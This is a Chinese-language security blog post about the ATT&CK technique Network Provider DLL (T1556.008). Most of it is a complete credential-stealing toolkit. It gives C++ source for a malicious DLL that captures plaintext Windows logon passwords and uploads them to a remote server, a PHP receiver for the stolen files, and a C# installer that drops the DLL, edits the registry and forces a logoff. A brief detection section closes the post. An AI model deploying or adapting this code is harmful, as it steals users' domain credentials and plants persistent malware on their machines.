ATT&CK框架更新跟踪-凭据访问之Network Provider DLL

2024年1月7日08:05:21评论63 views字数 10450阅读34分50秒阅读模式

0x01 前言

在ATT&CK框架2023年的版本中，较之前新增了一条持久化/凭据访问/防御规避的技术点：Network Provider DLL（https://attack.mitre.org/techniques/T1556/008/），大致是这样描述的：

攻击者可以注册恶意的网络提供者DLL，可以在身份验证过程中捕获明文用户凭据。网络提供者 DLL 允许 Windows 与特定的网络协议进行接口交互，并且还可以支持附加的凭据管理功能。在登录过程中，Winlogon通过 RPC 将凭证发送给本地的 mpnotify.exe 进程。然后，当通知发生登录事件时，mpnotify.exe 进程会将凭证以明文形式与已注册的凭据管理器共享。攻击者可以配置恶意的网络提供者 DLL 来从 mpnotify.exe 接收凭证。一旦恶意的网络提供者DLL通过注册表安装为凭据管理器，每当用户通过该函数登录到 Windows 工作站或域时，恶意的 DLL 可以通过 NPLogonNotify() 函数接收和保存凭证。

mpnotify.exe进程是由Windows多供应商路由组件MPR（Multiple Provider Router）创建的，该组件用于处理和路由网络请求。这个进程用于管理在系统启动时运行的网络服务，同时还负责处理用户登录时的网络连接。它会帮助认证用户信息，并且在成功连接网络后，继续监视网络连接的状态。

虽然该技术2023年才被ATT&CK收录，但其实最早在2000年就有paper发表过相关的技术。由于不少前人已经造过轮子，本文就简单讲下相关的原理、实现以及检测。

0x02 技术原理

该技术通过注册恶意的网络提供者DLL，实现在账户登陆过程中接收明文的用户名、域、密码等验证信息。

大概了解下Windows NT登录过程：用户输入凭据到GINA界面（登录和更改密码的对话框），然后Winlogon进程进行用户认证，成功后，认证数据被传递给多供应商路由器MPR (mpnotify.exe)，然后MPR将其传递给所有作为凭据管理器注册的网络提供者。

1、网络提供者API
网络提供者API（NP API）是一套由操作系统提供给开发者的工具集，开发者可使用这些工具来创建与特定网络环境相兼容的应用程序。换句话说，它是一个桥梁，连接了应用程序和操作系统级别的网络服务。开发者可以通过这个API来实现像连接或断开网络这样的网络操作。

Windows NT及其派生版本如Windows 2000, XP, 7, 8, 10等，都支持多个网络提供者。所谓的网络提供者，实际上就是动态链接库（DLLs）。这些DLLs是由不同的供应商或开发者独立开发的，它们实现了针对不同类型的网络或协议的连接和管理能力，比如SAMBA服务（用于连接Windows和Linux等Unix-like系统）、FTP服务、WebDAV服务等。

借助网络提供者API，开发者可以在应用程序中调用这些动态链接库的功能，从而实现对多个不同类型或协议的网络进行操作。比如，如果用户想要同时连接到一个FTP服务器和一个SAMBA共享，只需要有对应的两个网络提供者DLL，并在应用程序中调用网络提供者API即可。

Windows通过在系统启动时调用NP API的NPGetCaps函数来获取注册的网络提供者支持的特定NP API功能，所有的网络提供者DLL都需要有这个导出函数。为了方便访问多个网络，NP API中还包含一个导出函数NPLogonNotify，用来将当前交互式Windows登陆信息传递给每一个网络提供者。在登陆时，Windows会在成功验证用户后立即调用NPLogonNotify。

也就是说，恶意的网络提供者DLL需要导出NPLogonNotify、NPGetCaps这两个函数。

2、涉及导出函数

NPGetCaps：

DWORD NPGetCaps(  DWORD nIndex  );

对于恶意的网络提供者，需要支持以下nIndex值：

nIndex = WNNC_SPEC_VERSION（0x00000001），这表示网络提供者需要指明其遵循的规范或协议版本，返回WNNC_SPEC_VERSION51（0x00050001），表明此网络提供者支持5.1版本的规范。nIndex = WNNC_NET_TYPE （0x00000002）表示询问网络类型，返回 WNNC_CRED_MANAGER （0xFFFF0000）表明此提供者是一个凭据管理器。nIndex = WNNC_START（0x0000000C）表示询问网络提供者启动的状态，返回WNNC_WAIT_FOR_START（0x00000001）表示网络提供者正在等待启动。

使用任何其他值的nIndex都可以返回零，表明网络提供者没有其他额外的能力或特性。

NPLogonNotify：

DWORD APIENTRY NPLogonNotify(  lpLogon,  lpAuthentInfoType,  lpAuthentInfo,  lpPreviousAuthentInfoType,  lpPreviousAuthentInfo,  PLUID  LPCWSTR  LPVOID  LPCWSTR  LPVOID  LPWSTR  LPVOID  LPWSTR  lpStationName,  StationHandle,);  *lpLogonScript

对于登录时获取用户凭据，以下2个参数较为关键：

lpAuthentInfoType：一个指向Unicode字符串的指针，该字符串标识由lpAuthentInfo指向的结构的类型，一般都是'MSV1_0:Interactive'，但使用Kerberos验证的Windows 2000系统将指向字符串'Kerberos:Interactive'，本次研究不考虑特殊情况了。

lpAuthentInfo：一个指向结构的指针，该结构包含用户成功验证的信息。一般lpAuthentInfoType为'MSV1_0:Interactive'的情况，结构是MSV1_0_INTERACTIVE_LOGIN，定义如下：

typedef struct _MSV1_0_INTERACTIVE_LOGON  {  MSV1_0_LOGON_SUBMIT_TYPE MessageType;  UNICODE_STRING LogonDomainName;  UNICODE_STRING UserName;  UNICODE_STRING Password;  } MSV1_0_INTERACTIVE_LOGON;

其中UNICODE_STRING定义如下：

typedef struct _LSA_UNICODE_STRING {  USHORT Length;  USHORT MaximumLength;  PWSTR Buffer;  } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;

因此我们可以从lpAuthentInfo获取Domain、UserName和Password。

3、网络提供者的注册

一般来说，每个网络提供者都通过注册表在操作系统中注册。需要在以下注册表路径中添加网络提供者的名称（假设名为NPtest）：
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNetworkProviderOrder下的ProviderOrder值，将新的网络提供者的名称追加到最后即可，不同的网络提供者名称以逗号分隔。

然后新增如下注册表键值：
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices网络提供者名称（NPtest）NetworkProvider下的：

Class值，类型是REG_DWORD，值= 2，表示网络提供者是一个证书管理器；ProviderPath值，类型是REG_EXPAND_SZ，值是指向网络提供者DLL的路径，%SystemRoot%System32NPtest.dll；Name值，类型=REG_DWORD；

一旦具有NPLogonNotify导出的DLL被注册为一个具有证书管理功能的网络提供者（需要管理员权限），那么该DLL将在用户登录时接收当前用户的所有身份验证数据。

0x03 代码准备
1、一个网络提供者DLL，将会被注册为恶意的网络提供者。以下代码基于https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy项目进行优化，加入了防止中文乱码、凭据外发以及获取所在域功能（也可以在凭据外发后加入上线C2的功能），VS直接编译就行（64位）：

#include "pch.h"#include <iostream>#include <string>#define _WINSOCK_DEPRECATED_NO_WARNINGS#include <winsock2.h>#include <ws2tcpip.h>#include <windows.h>#include <iostream>#include <fstream>
#pragma comment(lib, "ws2_32.lib") // 链接Winsock库std::string readFile(const std::string& filename) {  std::ifstream file(filename, std::ios::binary);  return std::string((std::istreambuf_iterator<char>(file)),    std::istreambuf_iterator<char>());}
//将获取到的凭据文件外发void postFile(const std::string& server, const std::string& filepath, int port) {  WSADATA wsaData;  WSAStartup(MAKEWORD(2, 2), &wsaData); //初始化Winsock  SOCKET client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);  struct sockaddr_in server_addr {};  server_addr.sin_family = AF_INET;  server_addr.sin_port = htons(port);   server_addr.sin_addr.s_addr = inet_addr(server.c_str());  connect(client, (struct sockaddr*)&server_addr, sizeof(server_addr));  std::string fileContent = readFile(filepath);
  //构造http请求  std::string boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW";  std::string request =    "--" + boundary + "rn"    "Content-Disposition: form-data; name="fileToUpload"; filename="" + filepath + ""rn"    "Content-Type: application/octet-streamrnrn" +    fileContent + "rn" +    "--" + boundary + "--";
  std::string headers =    "POST /upload.php HTTP/1.1rn"    "Host: " + server + "rn"    "Content-Type: multipart/form-data; boundary=" + boundary + "rn"    "Content-Length: " + std::to_string(request.size()) + "rnrn";  //发送HTTP请求头和请求体  send(client, headers.c_str(), headers.size(), 0);   send(client, request.c_str(), request.size(), 0); 
  char buffer[4096];  recv(client, buffer, sizeof(buffer), 0); //接收HTTP响应  printf(buffer);  closesocket(client);  WSACleanup();}

// from npapi.h#define WNNC_SPEC_VERSION                0x00000001#define WNNC_SPEC_VERSION51              0x00050001#define WNNC_NET_TYPE                    0x00000002#define WNNC_START                       0x0000000C#define WNNC_WAIT_FOR_START              0x00000001
//from ntdef.htypedef struct _UNICODE_STRING{  USHORT Length;  USHORT MaximumLength;  PWSTR Buffer;} UNICODE_STRING, * PUNICODE_STRING;
// from NTSecAPI.htypedef enum _MSV1_0_LOGON_SUBMIT_TYPE{  MsV1_0InteractiveLogon = 2,  MsV1_0Lm20Logon,  MsV1_0NetworkLogon,  MsV1_0SubAuthLogon,  MsV1_0WorkstationUnlockLogon = 7,  MsV1_0S4ULogon = 12,  MsV1_0VirtualLogon = 82,  MsV1_0NoElevationLogon = 83,  MsV1_0LuidLogon = 84,} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;
typedef struct _MSV1_0_INTERACTIVE_LOGON{  MSV1_0_LOGON_SUBMIT_TYPE MessageType;  UNICODE_STRING LogonDomainName;  UNICODE_STRING UserName;  UNICODE_STRING Password;} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;

void GetPass(PUNICODE_STRING username, PUNICODE_STRING password, PUNICODE_STRING domain){  HANDLE hFile;  DWORD dwWritten;
  hFile = CreateFile(TEXT("C:\NPtestpass.txt"),    GENERIC_WRITE,    0,    NULL,    OPEN_ALWAYS,    FILE_ATTRIBUTE_NORMAL,    NULL);      //将传递给getpass的unicode字符转换成ansi字符再写入文件，防止中文乱码  if (hFile != INVALID_HANDLE_VALUE)  {    SetFilePointer(hFile, 0, NULL, FILE_END);
    int usernameSize = WideCharToMultiByte(CP_ACP, 0, username->Buffer, -1, NULL, 0, NULL, NULL);    char* usernameBuffer = new char[usernameSize];    WideCharToMultiByte(CP_ACP, 0, username->Buffer, -1, usernameBuffer, usernameSize, NULL, NULL);
    int passwordSize = WideCharToMultiByte(CP_ACP, 0, password->Buffer, -1, NULL, 0, NULL, NULL);    char* passwordBuffer = new char[passwordSize];    WideCharToMultiByte(CP_ACP, 0, password->Buffer, -1, passwordBuffer, passwordSize, NULL, NULL);
    int domainSize = WideCharToMultiByte(CP_ACP, 0, domain->Buffer, -1, NULL, 0, NULL, NULL);    char* domainBuffer = new char[domainSize];    WideCharToMultiByte(CP_ACP, 0, domain->Buffer, -1, domainBuffer, domainSize, NULL, NULL);
    WriteFile(hFile, domainBuffer, domain->Length, &dwWritten, 0);    WriteFile(hFile, " -> ", strlen(" -> "), &dwWritten, 0);    WriteFile(hFile, usernameBuffer, username->Length, &dwWritten, 0);    WriteFile(hFile, " -> ", strlen(" -> "), &dwWritten, 0);    WriteFile(hFile, passwordBuffer, password->Length, &dwWritten, 0);    WriteFile(hFile, "rn", strlen("rn"), &dwWritten, 0);
    delete[] usernameBuffer;    delete[] passwordBuffer;    delete[] domainBuffer;    CloseHandle(hFile);  }  }
EXTERN_C_START
__declspec(dllexport)DWORDAPIENTRYNPGetCaps(  DWORD nIndex){  switch (nIndex)  {  case WNNC_SPEC_VERSION:    return WNNC_SPEC_VERSION51;
  case WNNC_NET_TYPE:    return WNNC_CRED_MANAGER;
  case WNNC_START:    return WNNC_WAIT_FOR_START;
  default:    return 0;  }}
__declspec(dllexport)DWORDAPIENTRYNPLogonNotify(  PLUID lpLogonId,  LPCWSTR lpAuthInfoType,  LPVOID lpAuthInfo,  LPCWSTR lpPrevAuthInfoType,  LPVOID lpPrevAuthInfo,  LPWSTR lpStationName,  LPVOID StationHandle,  LPWSTR* lpLogonScript){  GetPass(    &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),    &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password),    &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->LogonDomainName)  );
  lpLogonScript = NULL;  postFile("外发服务器IP", "C:\NPtestpass.txt", 端口);  return WN_SUCCESS;}
EXTERN_C_END

2、upload.PHP文件，放在远程服务器，用于接收上传的保存凭据的文件，只接受文件名包含“pass.txt”的文件上传，需要在网站目录下创建一个uploads文件夹：

<?php$target_dir = "uploads/";$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
if ($_SERVER["REQUEST_METHOD"] == "POST") {    if (strpos($_FILES["fileToUpload"]["name"], 'pass.txt') !== false) {        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {            echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";        } else {            echo "Sorry, there was an error uploading your file.";        }    } else {        echo "Invalid file!";    }} else {    echo "No POST request received.";}?>

3、一个网络提供者的安装程序（C#），实现修改注册表来注册恶意网络提供者、释放网络提供者DLL文件、强制注销（经测试需要注销或重启机器触发后门，锁屏不行），DLL文件以字节数组的形式存在代码中：

using Microsoft.Win32;using System.Diagnostics;using System.Runtime.InteropServices;
namespace SetNP{    class Program    {        public static void SetReg()        {            //获取当前网络提供者的排序            var orderPath = @"SYSTEMCurrentControlSetControlNetworkProviderOrder";            var orderKey = Registry.LocalMachine.OpenSubKey(orderPath, true);            var providerOrder = (string)orderKey.GetValue("PROVIDERORDER");
            //在现有的网络提供者链中添加新的提供者            providerOrder += ",NPtest";            orderKey.SetValue("PROVIDERORDER", providerOrder);            orderKey.Close();
            //创建网络提供者服务项            var servicePath = @"SYSTEMCurrentControlSetServicesNPtest";            Registry.LocalMachine.CreateSubKey(servicePath);            var providerPath = servicePath + @"NetworkProvider";            var providerKey = Registry.LocalMachine.CreateSubKey(providerPath);
            //设置网络提供者属性            providerKey.SetValue("Class", 2);            providerKey.SetValue("Name", "NPtest");            providerKey.SetValue("ProviderPath", @"%SystemRoot%System32NPtest.dll", RegistryValueKind.ExpandString);            providerKey.Close();        }
        public static void WriteNPfile()        {            byte[] bytes = new byte[] {...... };//DLL文件的字节数据            //释放网络提供者DLL文件            System.IO.File.WriteAllBytes("C:\Windows\System32\NPtest.dll", bytes);        }    }}
public class Program{    public static void Main()    {        SetNP.Program.WriteNPfile();        SetNP.Program.SetReg();        //注销计算机        Process.Start("shutdown", "/l");    }}

0x04 复现过程

运行C#安装程序，机器注销后登录，可以看到系统目录下的DLL文件：

ATT&CK框架更新跟踪-凭据访问之Network Provider DLL

C盘下的凭据文件：

ATT&CK框架更新跟踪-凭据访问之Network Provider DLL

修改的注册表：

远程服务器接收到的凭据文件：

0x05 检测方法

在EDR日志中，其实可以看到NPtestpass.txt文件释放、访问远程服务器的行为是由mpnotify.exe发起的，其父进程为winlogon.exe。对于此种攻击手法，建议通过以下途径进行检测：

1、监控对以下注册表路径的修改行为：

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNetworkProviderOrderHKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices<NetworkProviderName>NetworkProvider

2、监控NPLogonNotify() API的调用；
3、监控mpnotify.exe进程异常的DLL加载（例如加载的DLL文件没有签名）、网络访问、文件释放等行为。

注意：方法2、3需要EDR软件的启动时机足够早，否则可能导致对mpnotify.exe进程的行为采集不完整。如果不行，就用第一种方法。但是要注意，如果是篡改替换已有的网络提供者DLL，则不需要修改注册表，第一种检测方法可能失效。

最最最重要：

本文内容仅用于研究学习，不可用于网络攻击等非法行为，否则造成的后果均与本文作者和本公众号无关，维护网络安全人人有责~

原文始发于微信公众号（红蓝攻防研究实验室）：ATT&CK框架更新跟踪-凭据访问之Network Provider DLL

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0x01 前言

0x02 技术原理

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